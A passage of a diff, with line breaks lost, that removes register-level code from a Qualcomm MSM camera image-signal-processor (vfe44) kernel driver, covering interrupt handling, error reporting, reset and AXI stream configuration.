(1 << 8)) - complete(&vfe_dev->halt_complete); -} - -static void msm_vfe44_process_camif_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0xF)) - return; - - if (irq_status0 & (1 << 0)) { - ISP_DBG("%s: SOF IRQ\n", __func__); - if (vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count > 0 - && vfe_dev->axi_data.src_info[VFE_PIX_0]. - pix_stream_count == 0) { - msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); - if (vfe_dev->axi_data.stream_update) - msm_isp_axi_stream_update(vfe_dev); - msm_isp_update_framedrop_reg(vfe_dev); - } - } - if (irq_status0 & (1 << 1)) - ISP_DBG("%s: EOF IRQ\n", __func__); - if (irq_status0 & (1 << 2)) - ISP_DBG("%s: EPOCH0 IRQ\n", __func__); - if (irq_status0 & (1 << 3)) - ISP_DBG("%s: EPOCH1 IRQ\n", __func__); -} - -static void msm_vfe44_process_violation_status( - struct vfe_device *vfe_dev) -{ - uint32_t violation_status = vfe_dev->error_info.violation_status; - if (!violation_status) - return; - - if (violation_status == 0) - pr_err("%s: camif violation\n", __func__); - if (violation_status == 1) - pr_err("%s: black violation\n", __func__); - if (violation_status == 2) - pr_err("%s: rolloff violation\n", __func__); - if (violation_status == 3) - pr_err("%s: demux violation\n", __func__); - if (violation_status == 4) - pr_err("%s: demosaic violation\n", __func__); - if (violation_status == 5) - pr_err("%s: wb violation\n", __func__); - if (violation_status == 6) - pr_err("%s: clf violation\n", __func__); - if (violation_status == 7) - pr_err("%s: color correct violation\n", __func__); - if (violation_status == 8) - pr_err("%s: rgb lut violation\n", __func__); - if (violation_status == 9) - pr_err("%s: la violation\n", __func__); - if (violation_status == 10) - pr_err("%s: chroma enhance violation\n", __func__); - if (violation_status == 11) - pr_err("%s: chroma supress mce violation\n", __func__); - if (violation_status == 12) - pr_err("%s: skin enhance violation\n", __func__); - if (violation_status == 13) - pr_err("%s: color tranform enc violation\n", __func__); - if (violation_status == 14) - pr_err("%s: color tranform view violation\n", __func__); - if (violation_status == 15) - pr_err("%s: scale enc y violation\n", __func__); - if (violation_status == 16) - pr_err("%s: scale enc cbcr violation\n", __func__); - if (violation_status == 17) - pr_err("%s: scale view y violation\n", __func__); - if (violation_status == 18) - pr_err("%s: scale view cbcr violation\n", __func__); - if (violation_status == 21) - pr_err("%s: crop enc y violation\n", __func__); - if (violation_status == 22) - pr_err("%s: crop enc cbcr violation\n", __func__); - if (violation_status == 23) - pr_err("%s: crop view y violation\n", __func__); - if (violation_status == 24) - pr_err("%s: crop view cbcr violation\n", __func__); - if (violation_status == 25) - pr_err("%s: realign buf y violation\n", __func__); - if (violation_status == 26) - pr_err("%s: realign buf cb violation\n", __func__); - if (violation_status == 27) - pr_err("%s: realign buf cr violation\n", __func__); - if (violation_status == 28) - pr_err("%s: ltm violation\n", __func__); - if (violation_status == 29) - pr_err("%s: ltm cov violation\n", __func__); - if (violation_status == 30) - pr_err("%s: abf violation\n", __func__); - if (violation_status == 31) - pr_err("%s: bpc violation\n", __func__); -} - -static void msm_vfe44_process_error_status(struct vfe_device *vfe_dev) -{ - uint32_t error_status1 = vfe_dev->error_info.error_mask1; - if (error_status1 & (1 << 0)) - pr_err("%s: camif error status: 0x%x\n", - __func__, vfe_dev->error_info.camif_status); - if (error_status1 & (1 << 1)) - pr_err("%s: stats bhist overwrite\n", __func__); - if (error_status1 & (1 << 2)) - pr_err("%s: stats cs overwrite\n", __func__); - if (error_status1 & (1 << 3)) - pr_err("%s: stats ihist overwrite\n", __func__); - if (error_status1 & (1 << 4)) - pr_err("%s: realign buf y overflow\n", __func__); - if (error_status1 & (1 << 5)) - pr_err("%s: realign buf cb overflow\n", __func__); - if (error_status1 & (1 << 6)) - pr_err("%s: realign buf cr overflow\n", __func__); - if (error_status1 & (1 << 7)) { - pr_err("%s: violation\n", __func__); - msm_vfe44_process_violation_status(vfe_dev); - } - if (error_status1 & (1 << 9)) - pr_err("%s: image master 0 bus overflow\n", __func__); - if (error_status1 & (1 << 10)) - pr_err("%s: image master 1 bus overflow\n", __func__); - if (error_status1 & (1 << 11)) - pr_err("%s: image master 2 bus overflow\n", __func__); - if (error_status1 & (1 << 12)) - pr_err("%s: image master 3 bus overflow\n", __func__); - if (error_status1 & (1 << 13)) - pr_err("%s: image master 4 bus overflow\n", __func__); - if (error_status1 & (1 << 14)) - pr_err("%s: image master 5 bus overflow\n", __func__); - if (error_status1 & (1 << 15)) - pr_err("%s: image master 6 bus overflow\n", __func__); - if (error_status1 & (1 << 16)) - pr_err("%s: status be bus overflow\n", __func__); - if (error_status1 & (1 << 17)) - pr_err("%s: status bg bus overflow\n", __func__); - if (error_status1 & (1 << 18)) - pr_err("%s: status bf bus overflow\n", __func__); - if (error_status1 & (1 << 19)) - pr_err("%s: status awb bus overflow\n", __func__); - if (error_status1 & (1 << 20)) - pr_err("%s: status rs bus overflow\n", __func__); - if (error_status1 & (1 << 21)) - pr_err("%s: status cs bus overflow\n", __func__); - if (error_status1 & (1 << 22)) - pr_err("%s: status ihist bus overflow\n", __func__); - if (error_status1 & (1 << 23)) - pr_err("%s: status skin bhist bus overflow\n", __func__); - if (error_status1 & (1 << 24)) - pr_err("%s: status bf scale bus overflow\n", __func__); -} - -static void msm_vfe44_read_irq_status(struct vfe_device *vfe_dev, - uint32_t *irq_status0, uint32_t *irq_status1) -{ - *irq_status0 = msm_camera_io_r(vfe_dev->vfe_base + 0x38); - *irq_status1 = msm_camera_io_r(vfe_dev->vfe_base + 0x3C); - msm_camera_io_w(*irq_status0, vfe_dev->vfe_base + 0x30); - msm_camera_io_w(*irq_status1, vfe_dev->vfe_base + 0x34); - msm_camera_io_w_mb(1, vfe_dev->vfe_base + 0x24); - if (*irq_status0 & 0x10000000) { - pr_err_ratelimited("%s: Protection triggered\n", __func__); - *irq_status0 &= ~(0x10000000); - } - - if (*irq_status1 & (1 << 0)) - vfe_dev->error_info.camif_status = - msm_camera_io_r(vfe_dev->vfe_base + 0x31C); - - if (*irq_status1 & (1 << 7)) - vfe_dev->error_info.violation_status = - msm_camera_io_r(vfe_dev->vfe_base + 0x48); - -} - -static void msm_vfe44_process_reg_update(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0xF0)) - return; - - if (irq_status0 & BIT(4)) - msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); - if (irq_status0 & BIT(5)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); - if (irq_status0 & BIT(6)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); - if (irq_status0 & BIT(7)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); - - if (vfe_dev->axi_data.stream_update) - msm_isp_axi_stream_update(vfe_dev); - if (atomic_read(&vfe_dev->stats_data.stats_update)) - msm_isp_stats_stream_update(vfe_dev); - if (atomic_read(&vfe_dev->axi_data.axi_cfg_update)) - msm_isp_axi_cfg_update(vfe_dev); - msm_isp_update_framedrop_reg(vfe_dev); - msm_isp_update_error_frame_count(vfe_dev); - - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); -} - -static void msm_vfe44_reg_update(struct vfe_device *vfe_dev) -{ - msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x378); -} - -static uint32_t msm_vfe44_reset_values[ISP_RST_MAX] = -{ - 0x1FF, /* ISP_RST_HARD reset everything */ - 0x1EF /* ISP_RST_SOFT all modules without registers */ -}; - -static long msm_vfe44_reset_hardware(struct vfe_device *vfe_dev, - enum msm_isp_reset_type reset_type, uint32_t blocking) -{ - uint32_t rst_val; - long rc = 0; - if (reset_type >= ISP_RST_MAX) { - pr_err("%s: Error Invalid parameter\n", __func__); - reset_type = ISP_RST_HARD; - } - rst_val = msm_vfe44_reset_values[reset_type]; - init_completion(&vfe_dev->reset_complete); - if (blocking) { - msm_camera_io_w_mb(rst_val, vfe_dev->vfe_base + 0xC); - rc = wait_for_completion_interruptible_timeout( - &vfe_dev->reset_complete, msecs_to_jiffies(50)); - } else { - msm_camera_io_w_mb(0x1EF, vfe_dev->vfe_base + 0xC); - } - return rc; -} - -static void msm_vfe44_axi_reload_wm( - struct vfe_device *vfe_dev, uint32_t reload_mask) -{ - msm_camera_io_w_mb(reload_mask, vfe_dev->vfe_base + 0x4C); -} - -static void msm_vfe44_axi_enable_wm(struct vfe_device *vfe_dev, - uint8_t wm_idx, uint8_t enable) -{ - uint32_t val; - val = msm_camera_io_r(vfe_dev->vfe_base + VFE44_WM_BASE(wm_idx)); - if (enable) - val |= 0x1; - else - val &= ~0x1; - msm_camera_io_w_mb(val, - vfe_dev->vfe_base + VFE44_WM_BASE(wm_idx)); -} - -static void msm_vfe44_axi_cfg_comp_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint32_t comp_mask, comp_mask_index = - stream_info->comp_mask_index; - uint32_t irq_mask; - - comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x40); - comp_mask &= ~(0x7F << (comp_mask_index * 8)); - comp_mask |= (axi_data->composite_info[comp_mask_index]. - stream_composite_mask << (comp_mask_index * 8)); - msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x40); - - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask |= 1 << (comp_mask_index + 25); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe44_axi_clear_comp_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t comp_mask, comp_mask_index = stream_info->comp_mask_index; - uint32_t irq_mask; - - comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x40); - comp_mask &= ~(0x7F << (comp_mask_index * 8)); - msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x40); - - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask &= ~(1 << (comp_mask_index + 25)); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe44_axi_cfg_wm_irq_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask |= 1 << (stream_info->wm[0] + 8); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe44_axi_clear_wm_irq_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask &= ~(1 << (stream_info->wm[0] + 8)); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe44_cfg_framedrop(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t i, temp; - uint32_t framedrop_pattern = 0, framedrop_period = 0; - - if (stream_info->runtime_init_frame_drop == 0) { - framedrop_pattern = stream_info->framedrop_pattern; - framedrop_period = stream_info->framedrop_period; - } - - if (stream_info->stream_type == BURST_STREAM && - stream_info->runtime_burst_frame_count == 0) { - framedrop_pattern = 0; - framedrop_period = 0; - } - - for (i = 0; i < stream_info->num_planes; i++) { - msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + - VFE44_WM_BASE(stream_info->wm[i]) + 0x1C); - temp = msm_camera_io_r(vfe_dev->vfe_base + - VFE44_WM_BASE(stream_info->wm[i]) + 0xC); - temp &= 0xFFFFFF83; - msm_camera_io_w(temp | framedrop_period << 2, - vfe_dev->vfe_base + VFE44_WM_BASE(stream_info->wm[i]) + 0xC); - } - - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x378); -} - -static void msm_vfe44_clear_framedrop(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t i; - for (i = 0; i < stream_info->num_planes; i++) - msm_camera_io_w(0, vfe_dev->vfe_base + - VFE44_WM_BASE(stream_info->wm[i]) + 0x1C); -} - -static int32_t msm_vfe44_cfg_io_format(struct vfe_device *vfe_dev, - enum msm_vfe_axi_stream_src stream_src, uint32_t io_format) -{ - int bpp, bpp_reg = 0, pack_reg = 0; - enum msm_isp_pack_fmt pack_fmt = 0; - uint32_t io_format_reg; /*io format register bit*/ - bpp = msm_isp_get_bit_per_pixel(io_format); - if (bpp < 0) { - pr_err("%s:%d invalid io_format %d bpp %d", __func__, __LINE__, - io_format, bpp); - return -EINVAL; - } - - switch (bpp) { - case 8: - bpp_reg = 0; - break; - case 10: - bpp_reg = 1 << 0; - break; - case 12: - bpp_reg = 1 << 1; - break; - default: - pr_err("%s:%d invalid bpp %d", __func__, __LINE__, bpp); - return -EINVAL; - } - - if (stream_src == IDEAL_RAW) { - /*use io_format(v4l2_pix_fmt) to get pack format*/ - pack_fmt = msm_isp_get_pack_format(io_format); - switch (pack_fmt) { - case QCOM: - pack_reg = 0x0; - break; - case MIPI: - pack_reg = 0x1; - break; - case DPCM6: - pack_reg = 0x2; - break; - case DPCM8: - pack_reg = 0x3; - break; - case PLAIN8: - pack_reg = 0x4; - break; - case PLAIN16: - pack_reg = 0x5; - break; - default: - pr_err("%s: invalid pack fmt!\n", __func__); - return -EINVAL; - } - } - - io_format_reg = msm_camera_io_r(vfe_dev->vfe_base + 0x54); - switch (stream_src) { - case PIX_ENCODER: - case PIX_VIEWFINDER: - case CAMIF_RAW: - io_format_reg &= 0xFFFFCFFF; - io_format_reg |= bpp_reg << 12; - break; - case IDEAL_RAW: - io_format_reg &= 0xFFFFFFC8; - io_format_reg |= bpp_reg << 4 | pack_reg; - break; - case RDI_INTF_0: - case RDI_INTF_1: - case RDI_INTF_2: - default: - pr_err("%s: Invalid stream source\n", __func__); - return -EINVAL; - } - msm_camera_io_w(io_format_reg, vfe_dev->vfe_base + 0x54); - return 0; -} - -static void msm_vfe44_cfg_camif(struct vfe_device *vfe_dev, - struct msm_vfe_pix_cfg *pix_cfg) -{ - uint16_t first_pixel, last_pixel, first_line, last_line; - struct msm_vfe_camif_cfg *camif_cfg = &pix_cfg->camif_cfg; - uint32_t val; - - first_pixel = camif_cfg->first_pixel; - last_pixel = camif_cfg->last_pixel; - first_line = camif_cfg->first_line; - last_line = camif_cfg->last_line; - - msm_camera_io_w(pix_cfg->input_mux << 16 | pix_cfg->pixel_pattern, - vfe_dev->vfe_base + 0x1C); - - msm_camera_io_w(camif_cfg->lines_per_frame << 16 | - camif_cfg->pixels_per_line, vfe_dev->vfe_base + 0x300); - - msm_camera_io_w(first_pixel << 16 | last_pixel, - vfe_dev->vfe_base + 0x304); - - msm_camera_io_w(first_line << 16 | last_line, - vfe_dev->vfe_base + 0x308); - - msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x314); - - val = msm_camera_io_r(vfe_dev->vfe_base + 0x2E8); - val |= camif_cfg->camif_input; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x2E8); - - switch (pix_cfg->input_mux) { - case CAMIF: - val = 0x01; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F4); - break; - case TESTGEN: - val = 0x01; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x93C); - break; - case EXTERNAL_READ: - default: - pr_err("%s: not supported input_mux %d\n", - __func__, pix_cfg->input_mux); - break; - } -} - -static void msm_vfe44_update_camif_state(struct vfe_device *vfe_dev, - enum msm_isp_camif_update_state update_state) -{ - uint32_t val; - bool bus_en, vfe_en; - if (update_state == NO_UPDATE) - return; - - val = msm_camera_io_r(vfe_dev->vfe_base + 0x2F8); - if (update_state == ENABLE_CAMIF) { - bus_en = - ((vfe_dev->axi_data. - src_info[VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); - vfe_en = - ((vfe_dev->axi_data. - src_info[VFE_PIX_0].pix_stream_count > 0) ? 1 : 0); - val &= 0xFFFFFF3F; - val = val | bus_en << 7 | vfe_en << 6; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F8); - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2F4); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 1; - } else if (update_state == DISABLE_CAMIF) { - msm_camera_io_w_mb(0x0, vfe_dev->vfe_base + 0x2F4); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; - } else if (update_state == DISABLE_CAMIF_IMMEDIATELY) { - msm_camera_io_w_mb(0x2, vfe_dev->vfe_base + 0x2F4); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; - } -} - -static void msm_vfe44_cfg_rdi_reg( - struct vfe_device *vfe_dev, struct msm_vfe_rdi_cfg *rdi_cfg, - enum msm_vfe_input_src input_src) -{ - uint8_t rdi = input_src - VFE_RAW_0; - uint32_t rdi_reg_cfg; - rdi_reg_cfg = msm_camera_io_r( - vfe_dev->vfe_base + VFE44_RDI_BASE(0)); - rdi_reg_cfg &= ~(BIT(16 + rdi)); - rdi_reg_cfg |= rdi_cfg->frame_based << (16 + rdi); - msm_camera_io_w(rdi_reg_cfg, - vfe_dev->vfe_base + VFE44_RDI_BASE(0)); - - rdi_reg_cfg = msm_camera_io_r( - vfe_dev->vfe_base + VFE44_RDI_BASE(rdi)); - rdi_reg_cfg &= 0x70003; - rdi_reg_cfg |= (rdi * 3) << 28 | rdi_cfg->cid << 4 | 0x4; - msm_camera_io_w( - rdi_reg_cfg, vfe_dev->vfe_base + VFE44_RDI_BASE(rdi)); -} - -static void msm_vfe44_axi_cfg_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, - uint8_t plane_idx) -{ - uint32_t val; - uint32_t wm_base = VFE44_WM_BASE(stream_info->wm[plane_idx]); - - if (!stream_info->frame_based) { - msm_camera_io_w(0x0, vfe_dev->vfe_base + wm_base); - /*WR_IMAGE_SIZE*/ - val = - ((msm_isp_cal_word_per_line( - stream_info->output_format, - stream_info->plane_cfg[plane_idx]. - output_width)+1)/2 - 1) << 16 | - (stream_info->plane_cfg[plane_idx]. - output_height - 1); - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); - - /*WR_BUFFER_CFG*/ - val = (stream_info->plane_cfg[plane_idx].output_height - 1); - val = (((val & 0xfff) << 2) | ((val >> 12) & 0x3)); - val = val << 2 | - msm_isp_cal_word_per_line(stream_info->output_format, - stream_info->plane_cfg[ - plane_idx].output_stride) << 16 | - VFE44_BURST_LEN; - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); - } else { - msm_camera_io_w(0x2, vfe_dev->vfe_base + wm_base); - val = (stream_info->plane_cfg[plane_idx].output_height - 1); - val = (((val & 0xfff) << 2) | ((val >> 12) & 0x3)); - val = val << 2 | - msm_isp_cal_word_per_line(stream_info->output_format, - stream_info->plane_cfg[ - plane_idx].output_width) << 16 | - VFE44_BURST_LEN; - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); - } - - /*WR_IRQ_SUBSAMPLE_PATTERN*/ - msm_camera_io_w(0xFFFFFFFF, - vfe_dev->vfe_base + wm_base + 0x20); - /* TD: Add IRQ subsample pattern */ -} - -static void msm_vfe44_axi_clear_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) -{ - uint32_t val = 0; - uint32_t wm_base = VFE44_WM_BASE(stream_info->wm[plane_idx]); - - /*WR_ADDR_CFG*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0xC); - /*WR_IMAGE_SIZE*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); - /*WR_BUFFER_CFG*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); - /*WR_IRQ_SUBSAMPLE_PATTERN*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x20); -} - -static void msm_vfe44_axi_cfg_wm_xbar_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, - uint8_t plane_idx) -{ - struct msm_vfe_axi_plane_cfg *plane_cfg = - &stream_info->plane_cfg[plane_idx]; - uint8_t wm = stream_info->wm[plane_idx]; - uint32_t xbar_cfg = 0; - uint32_t xbar_reg_cfg = 0; - - switch (stream_info->stream_src) { - case PIX_ENCODER: - case PIX_VIEWFINDER: { - if (plane_cfg->output_plane_format != CRCB_PLANE && - plane_cfg->output_plane_format != CBCR_PLANE) { - /*SINGLE_STREAM_SEL*/ - xbar_cfg |= plane_cfg->output_plane_format << 8; - } else { - switch (stream_info->output_format) { - case V4L2_PIX_FMT_NV12: - case V4L2_PIX_FMT_NV14: - case V4L2_PIX_FMT_NV16: - xbar_cfg |= 0x3 << 4; /*PAIR_STREAM_SWAP_CTRL*/ - break; - } - xbar_cfg |= 0x1 << 1; /*PAIR_STREAM_EN*/ - } - if (stream_info->stream_src == PIX_VIEWFINDER) - xbar_cfg |= 0x1; /*VIEW_STREAM_EN*/ - break; - } - case CAMIF_RAW: - xbar_cfg = 0x300; - break; - case IDEAL_RAW: - xbar_cfg = 0x400; - break; - case RDI_INTF_0: - xbar_cfg = 0x500; - break; - case RDI_INTF_1: - xbar_cfg = 0x600; - break; - case RDI_INTF_2: - xbar_cfg = 0x700; - break; - default: - pr_err("%s: Invalid stream src\n", __func__); - break; - } - xbar_reg_cfg = - msm_camera_io_r(vfe_dev->vfe_base + VFE44_XBAR_BASE(wm)); - xbar_reg_cfg &= ~(0xFFFF << VFE44_XBAR_SHIFT(wm)); - xbar_reg_cfg |= (xbar_cfg << VFE44_XBAR_SHIFT(wm)); - msm_camera_io_w(xbar_reg_cfg, - vfe_dev->vfe_base + VFE44_XBAR_BASE(wm)); -} - -static void msm_vfe44_axi_clear_wm_xbar_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) -{ - uint8_t wm = stream_info->wm[plane_idx]; - uint32_t xbar_reg_cfg = 0; - - xbar_reg_cfg = - msm_camera_io_r(vfe_dev->vfe_base + VFE44_XBAR_BASE(wm)); - xbar_reg_cfg &= ~(0xFFFF << VFE44_XBAR_SHIFT(wm)); - msm_camera_io_w(xbar_reg_cfg, - vfe_dev->vfe_base + VFE44_XBAR_BASE(wm)); -} - -#define MSM_ISP44_TOTAL_WM_UB 1203 - -static void msm_vfe44_cfg_axi_ub_equal_default( - struct vfe_device *vfe_dev) -{ - int i; - uint32_t ub_offset = 0; - struct msm_vfe_axi_shared_data *axi_data = - &vfe_dev->axi_data; - uint32_t total_image_size = 0; - uint8_t num_used_wms = 0; - uint32_t prop_size = 0; - uint32_t wm_ub_size; - uint32_t delta; - - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - if (axi_data->free_wm[i] > 0) { - num_used_wms++; - total_image_size += axi_data->wm_image_size[i]; - } - } - prop_size = MSM_ISP44_TOTAL_WM_UB - - axi_data->hw_info->min_wm_ub * num_used_wms; - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - if (axi_data->free_wm[i]) { - delta = - (axi_data->wm_image_size[i] * - prop_size)/total_image_size; - wm_ub_size = axi_data->hw_info->min_wm_ub + delta; - msm_camera_io_w(ub_offset << 16 | (wm_ub_size - 1), - vfe_dev->vfe_base + VFE44_WM_BASE(i) + 0x10); - ub_offset += wm_ub_size; - } else - msm_camera_io_w(0, - vfe_dev->vfe_base + VFE44_WM_BASE(i) + 0x10); - } -} - -static void msm_vfe44_cfg_axi_ub_equal_slicing( - struct vfe_device *vfe_dev) -{ - int i; - uint32_t ub_offset = 0; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - msm_camera_io_w(ub_offset << 16 | (VFE44_EQUAL_SLICE_UB - 1), - vfe_dev->vfe_base + VFE44_WM_BASE(i) + 0x10); - ub_offset += VFE44_EQUAL_SLICE_UB; - } -} - -static void msm_vfe44_cfg_axi_ub(struct vfe_device *vfe_dev) -{ - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - axi_data->wm_ub_cfg_policy = MSM_WM_UB_CFG_DEFAULT; - if (axi_data->wm_ub_cfg_policy == MSM_WM_UB_EQUAL_SLICING) - msm_vfe44_cfg_axi_ub_equal_slicing(vfe_dev); - else - msm_vfe44_cfg_axi_ub_equal_default(vfe_dev); -} - -static void msm_vfe44_update_ping_pong_addr( - struct vfe_device *vfe_dev, - uint8_t wm_idx, uint32_t pingpong_status, dma_addr_t paddr) -{ - uint32_t paddr32 = (paddr & 0xFFFFFFFF); - msm_camera_io_w(paddr32, vfe_dev->vfe_base + - VFE44_PING_PONG_BASE(wm_idx, pingpong_status)); -} - -static long msm_vfe44_axi_halt(struct vfe_device *vfe_dev, uint32_t blocking) -{ - uint32_t halt_mask; - halt_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x2C); - halt_mask |= (1 << 8); - msm_camera_io_w_mb(halt_mask, vfe_dev->vfe_base + 0x2C); - init_completion(&vfe_dev->halt_complete); - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2C0); - return wait_for_completion_interruptible_timeout( - &vfe_dev->halt_complete, msecs_to_jiffies(500)); -} - -static uint32_t msm_vfe44_get_wm_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 8) & 0x7F; -} - -static uint32_t msm_vfe44_get_comp_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 25) & 0xF; -} - -static uint32_t msm_vfe44_get_pingpong_status( - struct vfe_device *vfe_dev) -{ - return msm_camera_io_r(vfe_dev->vfe_base + 0x268); -} - -static int msm_vfe44_get_stats_idx(enum msm_isp_stats_type stats_type) -{ - switch (stats_type) { - case MSM_ISP_STATS_BE: - return STATS_IDX_BE; - case MSM_ISP_STATS_BG: - return STATS_IDX_BG; - case MSM_ISP_STATS_BF: - return STATS_IDX_BF; - case MSM_ISP_STATS_AWB: - return STATS_IDX_AWB; - case MSM_ISP_STATS_RS: - return STATS_IDX_RS; - case MSM_ISP_STATS_CS: - return STATS_IDX_CS; - case MSM_ISP_STATS_IHIST: - return STATS_IDX_IHIST; - case MSM_ISP_STATS_BHIST: - return STATS_IDX_BHIST; - case MSM_ISP_STATS_BF_SCALE: - return STATS_IDX_BF_SCALE; - default: - pr_err("%s: Invalid stats type\n", __func__); - return -EINVAL; - } -} - -static int msm_vfe44_stats_check_streams( - struct msm_vfe_stats_stream *stream_info) -{ - if (stream_info[STATS_IDX_BF].state == - STATS_AVALIABLE && - stream_info[STATS_IDX_BF_SCALE].state != - STATS_AVALIABLE) { - pr_err("%s: does not support BF_SCALE while BF is disabled\n", - __func__); - return -EINVAL; - } - if (stream_info[STATS_IDX_BF].state != STATS_AVALIABLE && - stream_info[STATS_IDX_BF_SCALE].state != STATS_AVALIABLE && - stream_info[STATS_IDX_BF].composite_flag != - stream_info[STATS_IDX_BF_SCALE].composite_flag) { - pr_err("%s: Different composite flag for BF and BF_SCALE\n", - __func__); - return -EINVAL; - } - return 0; -} - -static void msm_vfe44_stats_cfg_comp_mask( - struct vfe_device *vfe_dev, - uint32_t stats_mask, uint8_t enable) -{ - uint32_t reg_mask, comp_stats_mask, mask_bf_scale; - uint32_t i = 0; - atomic_t *stats_comp; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - - if (vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask > - MAX_NUM_STATS_COMP_MASK) { - pr_err("%s: num of comp masks %d exceed max %d\n", - __func__, - vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask, - MAX_NUM_STATS_COMP_MASK); - return; - } - - /* BF scale is controlled by BF also so ignore bit 0 of BF scale */ - stats_mask = stats_mask & 0x1FF; - mask_bf_scale = stats_mask >> SHIFT_BF_SCALE_BIT; - - for (i = 0; - i < vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; i++) { - stats_comp = &stats_data->stats_comp_mask[i]; - reg_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x44); - comp_stats_mask = reg_mask & (STATS_COMP_BIT_MASK << (i*8)); - - if (enable) { - if (comp_stats_mask) - continue; - - reg_mask |= (mask_bf_scale << (16 + i*8)); - atomic_add(stats_mask, stats_comp); - } else { - - if (stats_mask & (1 << STATS_IDX_BF_SCALE) && - atomic_read(stats_comp) & - (1 << STATS_IDX_BF_SCALE)) - atomic_sub((1 << STATS_IDX_BF_SCALE), - stats_comp); - - /* - * Check if comp mask in reg is valid - * and contains this stat - */ - - if (!comp_stats_mask || - !((comp_stats_mask >> (16 + i*8)) & - mask_bf_scale)) - continue; - - atomic_sub(stats_mask, stats_comp); - reg_mask &= ~(mask_bf_scale << (16 + i*8)); - } - ISP_DBG("%s: comp_mask: %x atomic stats[0]: %x %x\n", - __func__, reg_mask, - atomic_read(&stats_data->stats_comp_mask[0]), - atomic_read(&stats_data->stats_comp_mask[1])); - - msm_camera_io_w(reg_mask, vfe_dev->vfe_base + 0x44); - return; - } -} - -static void msm_vfe44_stats_cfg_wm_irq_mask( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask |= 1 << (STATS_IDX(stream_info->stream_handle) + 15); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe44_stats_clear_wm_irq_mask( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = 